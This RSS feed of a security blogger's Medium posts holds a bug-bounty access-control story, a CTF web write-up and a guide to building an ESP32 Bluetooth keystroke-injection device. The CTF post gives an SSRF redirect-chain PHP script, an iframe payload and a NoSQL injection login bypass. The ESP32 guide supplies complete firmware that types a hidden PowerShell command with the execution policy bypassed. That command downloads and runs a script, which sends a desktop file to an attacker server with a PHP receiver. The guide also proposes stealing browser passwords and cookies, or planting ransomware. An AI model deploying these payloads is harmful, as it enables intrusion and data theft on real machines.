<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Salah on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Salah on Medium]]></description>
        <link>https://medium.com/@a7medsalah169?source=rss-7441353b67d5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*DcCisn0ZDRBSawAe</url>
            <title>Stories by Ahmed Salah on Medium</title>
            <link>https://medium.com/@a7medsalah169?source=rss-7441353b67d5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 14:02:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@a7medsalah169/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Free Trial Led to Broken Access Control]]></title>
            <link>https://medium.com/@a7medsalah169/how-a-free-trial-led-to-broken-access-control-537488544be0?source=rss-7441353b67d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/537488544be0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Ahmed Salah]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 12:08:27 GMT</pubDate>
            <atom:updated>2026-10-15T12:08:27.005Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wi9hqnnJl_wwhSwH-BaK9w.jpeg" /></figure><p>Hello friends, hope you’re well.</p><p>Can a free-trial feature let you bypass account restrictions and become a Teacher even if you’re not allowed to? That’s exactly what I found during this test.</p><p>It will be a short story so let’s see how it happened.</p><h3>Understanding the restriction</h3><p>The platform has two main account types: <strong>Student</strong> and <strong>Teacher</strong>. Younger students than 14 have additional restrictions, and they can’t switch their account type to Teacher through Settings.</p><p>My first attempt was straightforward: intercept the request and try to change my account type directly. The server returned 403 Forbidden. Looks like it was working as expected, right?</p><p>Not so fast. 👀</p><h3>The interesting part</h3><p>While testing the free-trial feature, I noticed something interesting.</p><p>When a Student requests a free trial, the following request is sent:</p><pre>POST /cart-line-items/create-or-update<br>{<br>  &quot;productType&quot;: 37,<br>  &quot;quantity&quot;: 1,<br>  &quot;source&quot;: &quot;header_plus&quot;<br>}</pre><p>This gives the Student a <strong>7-day free trial</strong>.</p><p>But when a Teacher does the same thing, the productType changes to 15, which gives them a <strong>one-month free trial</strong>.</p><p>That’s when I got an idea: what if I changed the product type myself?</p><h3>One parameter, a different result</h3><p>I logged in with an underage Student account, intercepted the request, and changed productType from 37 to 15.</p><p>I forwarded the request and continued the flow.</p><p>And boom!</p><p>Instead of being blocked, the account received the Teacher free trial.</p><p>But the trial duration wasn’t the only thing that changed:</p><ul><li>The account gained Teacher status.</li><li>Teacher-only features became available.</li><li>The underage account restriction was bypassed.</li></ul><p><strong>Unfortunately</strong>, the report was marked as Not Applicable, and the team fixed the issue during the triage process before they could reproduce it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=537488544be0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyCTF | WEB WriteUp]]></title>
            <link>https://medium.com/@a7medsalah169/cyctf-web-writeup-3a40b9c9902b?source=rss-7441353b67d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a40b9c9902b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Salah]]></dc:creator>
            <pubDate>Sat, 08 Nov 2025 17:36:10 GMT</pubDate>
            <atom:updated>2025-11-09T15:28:27.924Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flhoyk2ps2GlhkkxQNPRzQ.png" /></figure><p>Hello friend, hope to be ok.</p><p>This is a Write-up for 3 web challenges</p><h3><strong># 1- inception challenge</strong></h3><blockquote>Description: You’re waiting for a train. A train that will take you far away. You know where you hope the train will take you, but you can’t know for sure.</blockquote><p>This challenge is white box, and this is the code for the app.py:</p><pre>from flask import Flask, request, jsonify, redirect, make_response<br>import requests<br>import json<br>app = Flask(__name__)<br>users = {}<br>sessions = {}<br>MAX_REDIRECTS = 10<br>class TooManyRedirectsError(Exception):<br>    pass<br><br>STYLE = &quot;&quot;&quot;<br>&lt;style&gt;<br>body {<br>    background-color: #000;<br>    color: #d4af37;<br>    font-family: &#39;Papyrus&#39;, &#39;Times New Roman&#39;, serif;<br>    text-align: center;<br>    margin: 0;<br>    padding: 0;<br>}<br>h1 {<br>    color: #ffd700;<br>    text-shadow: 0 0 10px #d4af37;<br>    font-size: 2.5em;<br>    margin-top: 50px;<br>}<br>h2 {<br>    color: #e6c200;<br>    text-shadow: 0 0 5px #b8860b;<br>}<br>form {<br>    background: rgba(34, 27, 0, 0.85);<br>    border: 2px solid #d4af37;<br>    border-radius: 15px;<br>    display: inline-block;<br>    padding: 30px 50px;<br>    margin-top: 40px;<br>    box-shadow: 0 0 20px #d4af37;<br>}<br>input[type=text], input[type=password] {<br>    background-color: #111;<br>    color: #d4af37;<br>    border: 1px solid #d4af37;<br>    border-radius: 5px;<br>    padding: 10px;<br>    margin: 10px;<br>    width: 250px;<br>    text-align: center;<br>}<br>input[type=submit] {<br>    background-color: #d4af37;<br>    color: black;<br>    border: none;<br>    border-radius: 5px;<br>    padding: 10px 25px;<br>    cursor: pointer;<br>    font-weight: bold;<br>}<br>input[type=submit]:hover {<br>    background-color: #ffd700;<br>}<br>a {<br>    color: #ffd700;<br>    text-decoration: none;<br>    font-weight: bold;<br>}<br>a:hover {<br>    text-decoration: underline;<br>}<br>pre {<br>    color: #ffeb7a;<br>    text-align: left;<br>    background: rgba(20, 15, 0, 0.8);<br>    padding: 20px;<br>    border: 1px solid #d4af37;<br>    border-radius: 10px;<br>    display: inline-block;<br>}<br>&lt;/style&gt;<br>&quot;&quot;&quot;<br><br>@app.route(&#39;/internal/flag&#39;)<br>def get_internal_flag():<br>    if request.remote_addr != &#39;127.0.0.1&#39;:<br>        return &quot;Forbidden&quot;, 403<br>    return &quot;flag{Dummy_flag_dont_submit}&quot;, 200<br><br>@app.route(&#39;/internal/error_service&#39;)<br>def get_internal_error():<br>    if request.remote_addr != &#39;127.0.0.1&#39;:<br>        return &quot;Forbidden&quot;, 403<br>    return &quot;Internal Server Error in error_service&quot;, 500<br><br>@app.route(&#39;/&#39;)<br>def home():<br>    return STYLE + &quot;&quot;&quot;<br>    &lt;h1&gt;☥ Pharaoh’s Gate ☥&lt;/h1&gt;<br>    &lt;h2&gt;Welcome to the Enterprise Health Checker v2&lt;/h2&gt;<br>    &lt;p&gt;&lt;a href=&#39;/login&#39;&gt;Login&lt;/a&gt; | &lt;a href=&#39;/signup&#39;&gt;Sign Up&lt;/a&gt;&lt;/p&gt;<br>    &quot;&quot;&quot;<br><br><br>@app.route(&#39;/signup&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def signup():<br>    if request.method == &#39;GET&#39;:<br>        return STYLE + &quot;&quot;&quot;<br>        &lt;h1&gt;Sign Up Here&lt;/h1&gt;<br>        &lt;form method=&quot;post&quot;&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;username&quot; required&gt;&lt;br&gt;<br>            &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;password&quot; required&gt;&lt;br&gt;<br>            &lt;input type=&quot;submit&quot; value=&quot;Register&quot;&gt;<br>        &lt;/form&gt;<br>        &lt;p&gt;&lt;a href=&#39;/login&#39;&gt;Already have an account? Enter the Gate&lt;/a&gt;&lt;/p&gt;<br>        &quot;&quot;&quot;<br>    else:<br>        username = request.form.get(&#39;username&#39;)<br>        password = request.form.get(&#39;password&#39;)<br>        if username in users:<br>            return STYLE + &quot;&lt;h2&gt;This username already exists.&lt;/h2&gt;&lt;a href=&#39;/login&#39;&gt;Try logging in&lt;/a&gt;&quot;<br>        users[username] = password<br>        return redirect(&#39;/login&#39;)<br><br><br>@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def login():<br>    if request.method == &#39;GET&#39;:<br>        return STYLE + &quot;&quot;&quot;<br>        &lt;h1&gt;Login Here&lt;/h1&gt;<br>        &lt;form method=&quot;post&quot;&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;Username&quot; required&gt;&lt;br&gt;<br>            &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; required&gt;&lt;br&gt;<br>            &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt;<br>        &lt;/form&gt;<br>        &lt;p&gt;&lt;a href=&#39;/signup&#39;&gt;Don’t have an account? Sign up&lt;/a&gt;&lt;/p&gt;<br>        &quot;&quot;&quot;<br>    else:<br>        username = request.form.get(&#39;username&#39;)<br>        password = request.form.get(&#39;password&#39;)<br>        if username in users and users[username] == password:<br>            resp = make_response(redirect(&#39;/portal&#39;))<br>            sessions[username] = True<br>            resp.set_cookie(&#39;user&#39;, username)<br>            return resp<br>        return STYLE + &quot;&lt;h2&gt;Wrong Credentials. The gods deny your entry.&lt;/h2&gt;&lt;a href=&#39;/login&#39;&gt;Try again&lt;/a&gt;&quot;<br><br><br>@app.route(&#39;/portal&#39;)<br>def portal():<br>    username = request.cookies.get(&#39;user&#39;)<br>    if not username or username not in sessions:<br>        return redirect(&#39;/login&#39;)<br>    return STYLE + f&quot;&quot;&quot;<br>        &lt;h1&gt;Welcome, {username}!&lt;/h1&gt;<br>        &lt;h2&gt;☥ Enterprise Health Checker v2 ☥&lt;/h2&gt;<br>        &lt;p&gt;Submit a JSON file — we shall inspect its divine health.&lt;/p&gt;<br>        &lt;form action=&quot;/check&quot; method=&quot;post&quot;&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;url&quot; size=&quot;70&quot; placeholder=&quot;http://example.com/health.json&quot;&gt;<br>            &lt;input type=&quot;submit&quot; value=&quot;Check&quot;&gt;<br>        &lt;/form&gt;<br>        &lt;p&gt;&lt;a href=&#39;/logout&#39;&gt;Logout&lt;/a&gt;&lt;/p&gt;<br>    &quot;&quot;&quot;<br><br><br>@app.route(&#39;/logout&#39;)<br>def logout():<br>    username = request.cookies.get(&#39;user&#39;)<br>    if username in sessions:<br>        del sessions[username]<br>    resp = make_response(redirect(&#39;/&#39;))<br>    resp.delete_cookie(&#39;user&#39;)<br>    return resp<br><br>@app.route(&#39;/check&#39;, methods=[&#39;POST&#39;])<br>def check_url():<br>    url = request.form.get(&#39;url&#39;)<br>    try:<br>        final_response = custom_fetch(url)<br>        parsed_json = json.loads(final_response.text)<br>        return jsonify({&quot;status&quot;: &quot;ok&quot;, &quot;data&quot;: parsed_json})<br><br>    except Exception as e:<br>        error_message = f&quot;FATAL_ERROR: An unhandled exception occurred: {str(e)}\n\n&quot;<br>        try:<br>            last_url = str(e).split(&quot;Last URL was: &quot;)[1]<br>            final_attempt = requests.get(last_url, timeout=2)<br>            error_message += f&quot;--- Final Response Body ---\n{final_attempt.text}&quot;<br>        except:<br>            error_message += &quot;Could not retrieve final response body.&quot;<br>        return STYLE + f&quot;&lt;pre&gt;{error_message}&lt;/pre&gt;&quot;, 500<br><br>def custom_fetch(url):<br>    current_url = url<br>    for i in range(MAX_REDIRECTS + 1):<br>        if i == MAX_REDIRECTS:<br>            raise TooManyRedirectsError(f&quot;Exceeded redirect limit of {MAX_REDIRECTS}. Last URL was: {current_url}&quot;)<br><br>        response = requests.get(current_url, allow_redirects=False, timeout=3)<br><br>        if 300 &lt;= response.status_code &lt; 400:<br>            current_url = response.headers[&#39;Location&#39;]<br>            if current_url.startswith(&#39;/&#39;):<br>                current_url = requests.compat.urljoin(response.url, current_url)<br>            continue<br>        else:<br>            return response<br>    return None<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=8000)</pre><p>First, we need to sign up to go to the portal <br>After signing up, we were redirected to the portal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z2oKrTmXL-XirDyzsLOYmQ.png" /></figure><p>So the first thing we need to do is to see the flag in this path <a href="http://127.0.0.1:8000/internal/flag">http://127.0.0.1:8000/internal/flag</a>, but how ?!</p><p>When I look i the src code in this part</p><pre>def custom_fetch(url):<br>    current_url = url<br>    for i in range(MAX_REDIRECTS + 1):<br>        # ... redirect limit check ...<br><br>        response = requests.get(current_url, allow_redirects=False, timeout=3)<br><br>        if 300 &lt;= response.status_code &lt; 400:<br>            current_url = response.headers[&#39;Location&#39;]<br>            if current_url.startswith(&#39;/&#39;):<br>                current_url = requests.compat.urljoin(response.url, current_url)<br>            continue<br>        else:<br>            return response<br>#===============================================================<br># Inside check_url<br>except Exception as e:<br>    # ... error_message construction ...<br>    try:<br>        last_url = str(e).split(&quot;Last URL was: &quot;)[1]<br>        final_attempt = requests.get(last_url, timeout=2) # Default &#39;requests.get&#39; allows redirects!<br>        error_message += f&quot;--- Final Response Body ---\n{final_attempt.text}&quot;<br>    except:<br>        # ...</pre><p>After time to understand it this is the logic of how it works</p><ul><li><strong>The Redirect Logic :</strong> The custom_fetch function is crucial. It sets <strong>allow_redirects=False</strong> and manually handles redirects up to <strong>MAX_REDIRECTS = 10</strong></li></ul><p>The steps to attack are :</p><ul><li>The check_url function catches the TooManyRedirectsError.</li><li>It extracts the last_url from the error message.</li><li>It then makes a <strong>second, direct</strong> requests.get() call to that last_url <em>outside</em> of the custom_fetch function, with default settings (including <strong>allow_redirects=True</strong>).</li></ul><p>So what I need to make a script and host it, and I get help from AI to write it for me, and this is the script</p><pre>&lt;?php<br><br>// --- CONFIGURATION ---<br>// The URL of the final internal service to get the flag from.<br>$INTERNAL_FLAG_URL = &quot;http://127.0.0.1:8000/internal/flag&quot;;<br><br>// The parameter we use to track the chain.<br>$PARAM_NAME = &quot;step&quot;;<br><br>// The name of this script file, to redirect back to itself.<br>$SCRIPT_NAME = $_SERVER[&#39;PHP_SELF&#39;];<br><br>// --- LOGIC ---<br><br>// 1. Check if the &#39;step&#39; parameter is set.<br>if (isset($_GET[$PARAM_NAME])) {<br>    $step = $_GET[$PARAM_NAME];<br><br>    // 2. Check if this is the final payload step (for Fetch #2).<br>    if ($step === &#39;get_flag&#39;) {<br><br>        // This is the real payload. The &#39;except&#39; block&#39;s<br>        // requests.get() will follow this redirect.<br>        header(&quot;Location: &quot; . $INTERNAL_FLAG_URL, true, 302);<br>        exit;<br>    }<br><br>    // 3. It&#39;s a number, so cast it and continue the chain.<br>    $step_num = (int)$step;<br><br>    if ($step_num &gt;= 10) {<br>        // 4. We&#39;ve hit 10 redirects.<br>        // The *next* URL in the chain is the one that will be<br>        // in the &#39;Last URL was:&#39; error message.<br>        // We set it to our &#39;get_flag&#39; payload step.<br>        header(&quot;Location: &quot; . $SCRIPT_NAME . &quot;?&quot; . $PARAM_NAME . &quot;=get_flag&quot;, true, 302);<br>        exit;<br><br>    } else {<br>        // 5. We are still in the chain (steps 1-9).<br>        // Increment the step and redirect to ourself.<br>        $next_step = $step_num + 1;<br>        header(&quot;Location: &quot; . $SCRIPT_NAME . &quot;?&quot; . $PARAM_NAME . &quot;=&quot; . $next_step, true, 302);<br>        exit;<br>    }<br><br>} else {<br>    // 6. No &#39;step&#39; parameter was set. This is the start of the chain.<br>    // We kick it off by redirecting to step=1.<br>    header(&quot;Location: &quot; . $SCRIPT_NAME . &quot;?&quot; . $PARAM_NAME . &quot;=1&quot;, true, 302);<br>    exit;<br>}<br><br>?&gt;</pre><p>Then hosted it on the server and sent the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qc8zvJei2EqZhNYzZEPGeg.png" /></figure><p>And finally I get the flag</p><h3><strong>2- Admin Secret</strong></h3><blockquote><strong>Description:</strong> A vulnerable company document portal contains multiple security issues , Can you figure out what is going on ?</blockquote><p>This challenge is simple and nice <br>First, we have the make page that allows us to register or log in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4m0wkB_7XeCwBbdTiFqT-A.png" /></figure><p>So when I make an account, the app sends POST request that contains in the body <strong>username=ahmed&amp;password=ahmed <br></strong> And after i make account he redirct me to /profile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYl4n3ylNeUXXWq4l5qT6w.png" /></figure><p>As u see we are normal user, but when i try to see the src of this page, i find an interesting thing at the end of the code &lt;script src=”/js/main.js”&gt;&lt;/script&gt;<br>and it contains the following code</p><pre><br>function checkAdminStatus() {<br>    const isAdmin = document.querySelector(&#39;.nav-item a[href=&quot;/admin&quot;]&#39;);<br>    if (isAdmin) {<br>        console.log(&#39;User has admin privileges&#39;);<br>    } else {<br>        console.log(&#39;User does not have admin privileges&#39;);<br>    }<br>}<br><br>document.addEventListener(&#39;DOMContentLoaded&#39;, function() {<br>    console.log(&#39;Application loaded&#39;);<br>    checkAdminStatus();<br>    <br>    const tooltipTriggerList = [].slice.call(document.querySelectorAll(&#39;[data-bs-toggle=&quot;tooltip&quot;]&#39;));<br>    tooltipTriggerList.map(function (tooltipTriggerEl) {<br>        return new bootstrap.Tooltip(tooltipTriggerEl);<br>    });<br>});</pre><p>When I see the code i understand that is there is /admin page and it require to be admin where is checked by isAdmin = true</p><p>so the idea is when i make account why not to regiser as admin !</p><p>i logged out and tried to create new account but i will edit a bit in the request to be like this</p><pre>POST /signup HTTP/1.1<br>Host: &lt;example.com&gt;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://cyctf-c4f2c94299c3-adminsecret-0-0.chals.io/register<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 40<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<br>Priority: u=0, i<br>Te: trailers<br>Connection: keep-alive<br><br>username=ahmed3&amp;password=ahmed&amp;isAdmin=1</pre><p>and we get a response with</p><pre>HTTP/1.1 302 Found<br>X-Powered-By: Express<br>Location: /profile<br>Vary: Accept<br>Content-Type: text/html; charset=utf-8<br>Content-Length: 37<br>Set-Cookie: connect.sid=s%3Adu0Jr9rUn1sTJUqdqMPjQPHaTcFP33mC.dkAlZ2QrySykdM1HxGKwEeDkZCiVOxy3RVplbkQ3MVI; Path=/; HttpOnly<br>Date: Fri, 07 Nov 2025 13:48:24 GMT<br>Connection: keep-alive<br>Keep-Alive: timeout=5<br><br>&lt;p&gt;Found. Redirecting to /profile&lt;/p&gt;</pre><p>And here we are admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*a4efRnUSSCmX8wNYd4zrsw.png" /></figure><p>So let&#39;s try to visit /admin to see what in it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bB4zSA7Q1hlxNC8F9hWraQ.png" /></figure><p>This is required for me to enter a report and return a pdf to me from the first impression, it might be vuln to SSRF so i tried this payload</p><pre>&lt;iframe src=&quot;http://localhost/flag&quot; width=&quot;100%&quot; height=&quot;500px&quot;&gt;&lt;/iframe&gt;</pre><p>and when i send the request POST /admin/generate-pdf <br>it downloaded a pdf that contain the flag 🤩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*al_wJcphh8FJRPKmuZEKAw.png" /></figure><h3><strong>3- News Leak</strong></h3><blockquote><strong>Description: </strong>Just a plain old news platform — though a few stories seem a bit… scripted. Looks like the admin might be hiding something.</blockquote><p>When I open the challenge, I see this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zp9BPZJ52x2RWsXWej2sQw.png" /></figure><p>It is a normal page like news or something like this <br>- first i visit the first article &gt; GET /article.php?articleid=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w93H_YsuhuhOYqVbsV9K0w.png" /></figure><p>it like required from me to make a comment and the admin will see it but there is no place to make comment so i realized this param <br><strong>article.php?articleid=1</strong></p><p>and i sent a random LFI payload and get this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZAcXNGRxDF8jX1f0b3jyQ.png" /></figure><p>from this error, i realized that the website works with nosql [mongodb]</p><p>so i back to the login page to try anything in it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oK1JzfGIq5Yw9mwcIQvqwA.png" /></figure><p>First i tried to make a random username and pass like admin/admin but it is invalid so i tried to make <strong>nosql injection and i tried this payload</strong></p><p>username[$ne]=toto&amp;password[$ne]=toto</p><p>and finaly i succeeded to bypass the login page and sent to me a cookie i puted in my browser and when i visit the main page i found that i can make comment now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZCjnTDqQ8yGNyCFS6WbK-A.png" /></figure><p>let us to understand what is this <br>- It provided 2 articles : the first to make a comment that the admin will see it and the second article to let you try to send comment that you will see it</p><ul><li>The first thing that came to mind to make stored XSS to steal a cookie from admin or to see what was inside his page</li><li>But after many and many tries, I failed to make it</li><li>But why did I not look for any admin page</li><li>And finally i found <strong>/admin.php </strong>page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*2ZlPL23beOfKvl4fRDhM4A.png" /></figure><p>i tried admin/admin and any basic credentials, but it failed, so the web works Mongo, then lets try to bypass it like the first login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4puSJYW37-SKPDqYJw78Jw.png" /></figure><p>and it success i get admin cookies now lets try to visit the admin.php page with new cookies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDyaG7NcVyA8VaCgwMoq7A.png" /></figure><p>i found nothing but when i see the response in raw the flag in the cookies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uLwG_LQjj-6dAwSOAgP0A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a40b9c9902b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ESP32 for HID attack]]></title>
            <link>https://medium.com/@a7medsalah169/esp32-for-hid-attack-7f6eef48b11e?source=rss-7441353b67d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f6eef48b11e</guid>
            <category><![CDATA[esp32]]></category>
            <category><![CDATA[attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmed Salah]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 14:13:14 GMT</pubDate>
            <atom:updated>2025-03-12T14:40:26.337Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I want to share my simple project that combines cybersecurity and hardware(esp32)</p><p>First, let us know what an <strong>HID (Human Interface Device):</strong></p><blockquote>that attacks exploit devices that mimic keyboards, mice, or other input peripherals to inject malicious commands into a target system. These attacks often use microcontrollers like the <strong>ESP32</strong> (with BLE HID) or <strong>Rubber Ducky USB</strong> to automate keystrokes and execute scripts without user consent.</blockquote><p>So my project is to make a simple task using esp32. I made a file on desktop with the name flag.txt, and the server contains a payload that will take flag.txt and save it in the server, and the esp32 that executes a command in powershell that makes the task</p><p>Let us know the steps of this task:<br><strong>1.</strong> Laptop connect to esp via Bluetooth.<br><strong>2.</strong> Click the button that is connected with esp32 that will execute command<br><strong>3. </strong>The command will download the payload that I save in the server.<br><strong>4. </strong>The payload will send the flag.txt file on the desktop to my server.</p><p><a href="https://www.linkedin.com/posts/a7medsalah169_%D8%AD%D8%A8%D8%AA-%D8%A7%D8%B9%D9%85%D9%84-%D9%85%D8%B4%D8%B1%D9%88%D8%B9-%D8%A8%D8%B3%D9%8A%D8%B7-%D8%A8%D9%8A%D8%B1%D8%A8%D8%B7-%D8%A8%D9%8A%D9%86-%D8%A7%D9%84-cybersecurity-activity-7305597964121509890-Vlwc?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAEOOFfkBKuDkH-yLLdflBpr3IPDMBQb6-Zs">Watch the video of the attack</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QoQtW5kFgAhc7OW1STyNZA.png" /></figure><p>This is a simple task, but you can make it more dangerous by getting all saved passwords and cookies of browsers or getting shell or infecting the labtop with any virus or ransomware and make in your mind this process takes less than 3 secouds</p><p>If you want to do this project, follow all steps :</p><p>Components that I use:<br>1. esp32 wroom-32UE<br>2. green LED &gt; to indicate when device is connected<br>3. Carbon Resistor 330Ω <br>4. Mini Push Button 4 Pin<br>5. Some wires<br>6. Breadboard 830 Point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwERmNBPbKwnGIFpR-FjvA.jpeg" /></figure><p><strong>in the server</strong></p><blockquote>sudo mkdir /var/www/html/esp_payload<br>sudo chmod 777 /var/www/html/esp_payload<br>cd /var/www/html/esp_payload<br>nano payload.ps1</blockquote><p>Make your payload like this :</p><pre># Define the path to the flag.txt file on the desktop<br>$flagPath = &quot;$env:USERPROFILE\Desktop\flag.txt&quot;<br><br># Check if the file exists<br>if (Test-Path $flagPath) {<br>    # Read the file content<br>    $flagContent = Get-Content -Path $flagPath -Raw<br><br>    # Send the file content to the server<br>    $uploadUrl = &quot;http://&lt;your_server_ip&gt;/esp_payload/upload.php&quot;<br>    $body = @{<br>        file = $flagContent<br>    }<br>    Invoke-WebRequest -Uri $uploadUrl -Method Post -Body $body<br>} else {<br>    Write-Host &quot;The flag.txt file was not found on the desktop.&quot;<br>}</pre><blockquote>nano upload.php</blockquote><p>and make PHP file to handle requests</p><pre>&lt;?php<br>// Debugging: Log the request method and POST data<br>error_log(&quot;Request Method: &quot; . $_SERVER[&#39;REQUEST_METHOD&#39;]);<br>error_log(&quot;POST Data: &quot; . print_r($_POST, true));<br><br>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    if (isset($_POST[&#39;file&#39;])) {<br>        $fileContent = $_POST[&#39;file&#39;];<br>        $fileName = &#39;uploaded_flag.txt&#39;; <br><br>        // Debugging: Log the file content<br>        error_log(&quot;File Content: &quot; . $fileContent);<br><br>        if (file_put_contents($fileName, $fileContent)) {<br>            echo &quot;File uploaded successfully.&quot;;<br>        } else {<br>            http_response_code(500);<br>            echo &quot;Failed to save the file.&quot;;<br>        }<br>    } else {<br>        http_response_code(400);<br>        echo &quot;No file provided.&quot;;<br>    }<br>} else {<br>    http_response_code(405);<br>    echo &quot;Method not allowed.&quot;;<br>}<br>?&gt;</pre><p>start the apache server</p><blockquote>sudo systemctl start apache2</blockquote><p><strong>last the esp32 code :</strong></p><pre>#include &lt;BleKeyboard.h&gt;<br><br>const int LED_PIN = 4;<br>const int BUTTON_PIN = 15;<br>BleKeyboard bleKeyboard(&quot;ESP32 HID&quot;, &quot;company&quot;, 100);<br><br><br>bool lastButtonState = HIGH;<br>unsigned long lastDebounceTime = 0;<br>const unsigned long debounceDelay = 50;<br><br>void typeCommand(const char* command) {<br>  for(int i = 0; i &lt; strlen(command); i++) {<br>    bleKeyboard.write(command[i]);<br>    delay(10);  <br>    if(command[i] == &#39; &#39;) delay(5);  <br>  }<br>}<br><br>void setup() {<br>  Serial.begin(115200);<br>  pinMode(LED_PIN, OUTPUT);<br>  pinMode(BUTTON_PIN, INPUT_PULLUP);<br>  bleKeyboard.begin();<br>  delay(2000);  // Reduced BLE init delay<br>}<br><br>void loop() {<br>  // Connection status LED<br>  digitalWrite(LED_PIN, bleKeyboard.isConnected() ? HIGH : LOW);<br><br>  // Debounced button reading<br>  bool currentButtonState = digitalRead(BUTTON_PIN);<br>  <br>  if((millis() - lastDebounceTime) &gt; debounceDelay) {<br>    if(currentButtonState != lastButtonState) {<br>      lastDebounceTime = millis();<br>      <br>      if(currentButtonState == LOW) {<br>        executePayload();<br>      }<br>    }<br>  }<br>  lastButtonState = currentButtonState;<br>  delay(10);<br>}<br><br>void executePayload() {<br>  Serial.println(&quot;Payload triggered&quot;);<br>  <br>  // Open Run dialog<br>  bleKeyboard.press(KEY_LEFT_GUI);<br>  bleKeyboard.press(&#39;r&#39;);<br>  delay(150);<br>  bleKeyboard.releaseAll();<br>  delay(1000);  // Wait for Run dialog<br><br>  // Clear any existing text<br>  <br>    bleKeyboard.write(KEY_BACKSPACE);<br>    delay(25);<br><br>  // Type command with paced input<br>  typeCommand(&quot;powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \&quot;&quot;);<br>  typeCommand(&quot;Invoke-WebRequest -Uri &#39;http://&lt;your_server_ip&gt;/esp_payload/payload.ps1&#39; &quot;);<br>  typeCommand(&quot;-OutFile \\\&quot;%USERPROFILE%\\Desktop\\payload.ps1\\\&quot; -TimeoutSec 30; &quot;);<br>  typeCommand(&quot;&amp; \\\&quot;%USERPROFILE%\\Desktop\\payload.ps1\\\&quot;\&quot;&quot;);<br>  <br>  delay(100);<br>  bleKeyboard.write(KEY_RETURN);<br>  <br>  <br>}</pre><p>Finally, you need only to connect the laptop to esp32 and click on the button</p><p>The output knowledge from this project :<br>- What is HID attack.<br>- How to use esp32.<br>- How to make apache in server.<br>- How to make 